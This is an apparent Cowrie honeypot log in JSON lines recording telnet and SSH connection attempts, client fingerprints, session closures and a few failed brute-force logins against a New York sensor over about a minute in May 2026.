{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41664,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1c0d44665a5","protocol":"telnet","message":"New connection: 188.208.141.113:41664 (10.17.0.5:23) [session: d1c0d44665a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:51.638059Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41678,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cfc1c25fbe3","protocol":"telnet","message":"New connection: 188.208.141.113:41678 (10.17.0.5:23) [session: 0cfc1c25fbe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:51.739730Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":52232,"dst_ip":"159.203.135.109","dst_port":23,"session":"2adbb5422b8a","protocol":"telnet","message":"New connection: 64.227.9.242:52232 (159.203.135.109:23) [session: 2adbb5422b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:54.466156Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41688,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7a53de8d3b8","protocol":"telnet","message":"New connection: 188.208.141.113:41688 (10.17.0.5:23) [session: b7a53de8d3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:55.434945Z"}
{"eventid":"cowrie.session.closed","duration":38.247453927993774,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:56.459209Z","src_ip":"188.208.141.113","session":"47bad9340fc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.66911745071411,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:57.497930Z","src_ip":"188.208.141.113","session":"4b444629ab5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.56972336769104,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:57.624797Z","src_ip":"64.227.9.242","session":"37c72c3dc579","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":47104,"dst_ip":"10.17.0.5","dst_port":22,"session":"50a75474fcce","protocol":"ssh","message":"New connection: 1.235.192.214:47104 (10.17.0.5:22) [session: 50a75474fcce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:58.770008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:58.773698Z","src_ip":"1.235.192.214","session":"50a75474fcce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:58.962184Z","src_ip":"1.235.192.214","session":"50a75474fcce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tmp","password":"test","message":"login attempt [tmp/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:59.751289Z","src_ip":"1.235.192.214","session":"50a75474fcce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:00.943363Z","src_ip":"1.235.192.214","session":"50a75474fcce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.37089443206787,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:01.374348Z","src_ip":"188.208.141.113","session":"0c70323843c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.84561777114868,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:04.729315Z","src_ip":"188.208.141.113","session":"f2834b03b5c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.4678111076355,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:06.266808Z","src_ip":"188.208.141.113","session":"56a6635c951f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":20138,"dst_ip":"159.203.135.109","dst_port":22,"session":"e026a9f7ee08","protocol":"ssh","message":"New connection: 194.59.206.2:20138 (159.203.135.109:22) [session: e026a9f7ee08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:06.750933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:06.755178Z","src_ip":"194.59.206.2","session":"e026a9f7ee08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:06.845376Z","src_ip":"194.59.206.2","session":"e026a9f7ee08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:06.947869Z","src_ip":"194.59.206.2","session":"e026a9f7ee08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58176,"dst_ip":"10.17.0.5","dst_port":23,"session":"71a3811ee630","protocol":"telnet","message":"New connection: 188.208.141.113:58176 (10.17.0.5:23) [session: 71a3811ee630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:07.460013Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":44026,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa96c09546e7","protocol":"telnet","message":"New connection: 64.227.9.242:44026 (159.203.135.109:23) [session: aa96c09546e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:09.377013Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":52946,"dst_ip":"10.17.0.5","dst_port":22,"session":"d224e03ba493","protocol":"ssh","message":"New connection: 112.217.199.222:52946 (10.17.0.5:22) [session: d224e03ba493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:11.321199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:11.324891Z","src_ip":"112.217.199.222","session":"d224e03ba493","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:11.535087Z","src_ip":"112.217.199.222","session":"d224e03ba493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.68082141876221,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:12.246304Z","src_ip":"188.208.141.113","session":"cf501d62f9dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.264782190322876,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:12.383965Z","src_ip":"188.208.141.113","session":"0880c6a29c9c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123ubuntu","message":"login attempt [ubuntu/123ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:12.402025Z","src_ip":"112.217.199.222","session":"d224e03ba493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.45241022109985,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:12.850460Z","src_ip":"64.227.9.242","session":"ea3a48ea069f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58066,"dst_ip":"10.17.0.5","dst_port":23,"session":"15016d5a7061","protocol":"telnet","message":"New connection: 188.208.141.113:58066 (10.17.0.5:23) [session: 15016d5a7061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:12.867733Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:13.613031Z","src_ip":"112.217.199.222","session":"d224e03ba493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.67505073547363,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:17.637001Z","src_ip":"188.208.141.113","session":"c2f0d511af70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58082,"dst_ip":"10.17.0.5","dst_port":23,"session":"3591997aefff","protocol":"telnet","message":"New connection: 188.208.141.113:58082 (10.17.0.5:23) [session: 3591997aefff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:18.151961Z"}
{"eventid":"cowrie.session.closed","duration":52.56533885002136,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:18.652516Z","src_ip":"188.208.141.113","session":"f2d6b59701fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.55422520637512,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:20.493052Z","src_ip":"188.208.141.113","session":"0631c04ca228","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":57410,"dst_ip":"159.203.135.109","dst_port":23,"session":"723fe2981f8f","protocol":"telnet","message":"New connection: 64.227.9.242:57410 (159.203.135.109:23) [session: 723fe2981f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:21.046138Z"}
{"eventid":"cowrie.session.closed","duration":49.31355381011963,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:21.537235Z","src_ip":"188.208.141.113","session":"db24f4748737","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.24405550956726,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:21.543628Z","src_ip":"188.208.141.113","session":"1cad1aade8fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44864,"dst_ip":"10.17.0.5","dst_port":23,"session":"203f338e2ac2","protocol":"telnet","message":"New connection: 188.208.141.113:44864 (10.17.0.5:23) [session: 203f338e2ac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:24.397694Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44876,"dst_ip":"10.17.0.5","dst_port":23,"session":"96db78217901","protocol":"telnet","message":"New connection: 188.208.141.113:44876 (10.17.0.5:23) [session: 96db78217901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:24.697005Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":38248,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb01b4d760b3","protocol":"telnet","message":"New connection: 64.227.9.242:38248 (159.203.135.109:23) [session: fb01b4d760b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:26.807703Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":38652,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea41e3a743bb","protocol":"telnet","message":"New connection: 64.227.9.242:38652 (159.203.135.109:23) [session: ea41e3a743bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:27.071447Z"}
{"eventid":"cowrie.session.closed","duration":48.95199227333069,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:27.278589Z","src_ip":"188.208.141.113","session":"1b8e3de0bbae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44888,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fd6c26883b8","protocol":"telnet","message":"New connection: 188.208.141.113:44888 (10.17.0.5:23) [session: 2fd6c26883b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:27.386910Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":36642,"dst_ip":"159.203.135.109","dst_port":23,"session":"5061658e9836","protocol":"telnet","message":"New connection: 64.227.9.242:36642 (159.203.135.109:23) [session: 5061658e9836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:28.584213Z"}
{"eventid":"cowrie.session.closed","duration":40.624690771102905,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:32.364329Z","src_ip":"188.208.141.113","session":"0cfc1c25fbe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.09320902824402,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:32.559283Z","src_ip":"64.227.9.242","session":"2adbb5422b8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56408,"dst_ip":"10.17.0.5","dst_port":23,"session":"238c144e0142","protocol":"telnet","message":"New connection: 188.208.141.113:56408 (10.17.0.5:23) [session: 238c144e0142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:34.056552Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56412,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f842b82ac56","protocol":"telnet","message":"New connection: 188.208.141.113:56412 (10.17.0.5:23) [session: 5f842b82ac56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:37.274543Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56418,"dst_ip":"10.17.0.5","dst_port":23,"session":"9acd8397d1a1","protocol":"telnet","message":"New connection: 188.208.141.113:56418 (10.17.0.5:23) [session: 9acd8397d1a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:38.899499Z"}
{"eventid":"cowrie.session.closed","duration":43.528188943862915,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:38.963027Z","src_ip":"188.208.141.113","session":"b7a53de8d3b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.903538942337036,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:42.541518Z","src_ip":"188.208.141.113","session":"d1c0d44665a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.82341718673706,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:47.200292Z","src_ip":"64.227.9.242","session":"aa96c09546e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":42670,"dst_ip":"10.17.0.5","dst_port":22,"session":"716c682b33ba","protocol":"ssh","message":"New connection: 152.32.171.213:42670 (10.17.0.5:22) [session: 716c682b33ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:47.645778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:47.649946Z","src_ip":"152.32.171.213","session":"716c682b33ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:47.870514Z","src_ip":"152.32.171.213","session":"716c682b33ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"test1234","message":"login attempt [testftp/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:48.786589Z","src_ip":"152.32.171.213","session":"716c682b33ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:50.009719Z","src_ip":"152.32.171.213","session":"716c682b33ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":41318,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e2ad128da73","protocol":"telnet","message":"New connection: 64.227.9.242:41318 (159.203.135.109:23) [session: 1e2ad128da73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:50.772725Z"}
{"eventid":"cowrie.session.closed","duration":38.29550075531006,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:51.163127Z","src_ip":"188.208.141.113","session":"15016d5a7061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.279685974121094,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:51.739566Z","src_ip":"188.208.141.113","session":"71a3811ee630","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45870,"dst_ip":"10.17.0.5","dst_port":23,"session":"9111aee6bfe3","protocol":"telnet","message":"New connection: 188.208.141.113:45870 (10.17.0.5:23) [session: 9111aee6bfe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:52.756395Z"}
{"eventid":"cowrie.session.closed","duration":35.10375905036926,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:56.149796Z","src_ip":"64.227.9.242","session":"723fe2981f8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45878,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec129aca56f9","protocol":"telnet","message":"New connection: 188.208.141.113:45878 (10.17.0.5:23) [session: ec129aca56f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:57.001505Z"}
